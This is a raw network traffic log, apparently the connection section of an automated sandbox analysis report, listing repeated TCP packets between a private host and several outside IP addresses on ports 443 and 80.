Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 40.90.65.44:443

Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 3.39.153.44:443 -> 192.168.2.7:49699
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49699 -> 3.39.153.44:443
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 198.23.187.151:80 -> 192.168.2.7:49700
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49700 -> 198.23.187.151:80
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
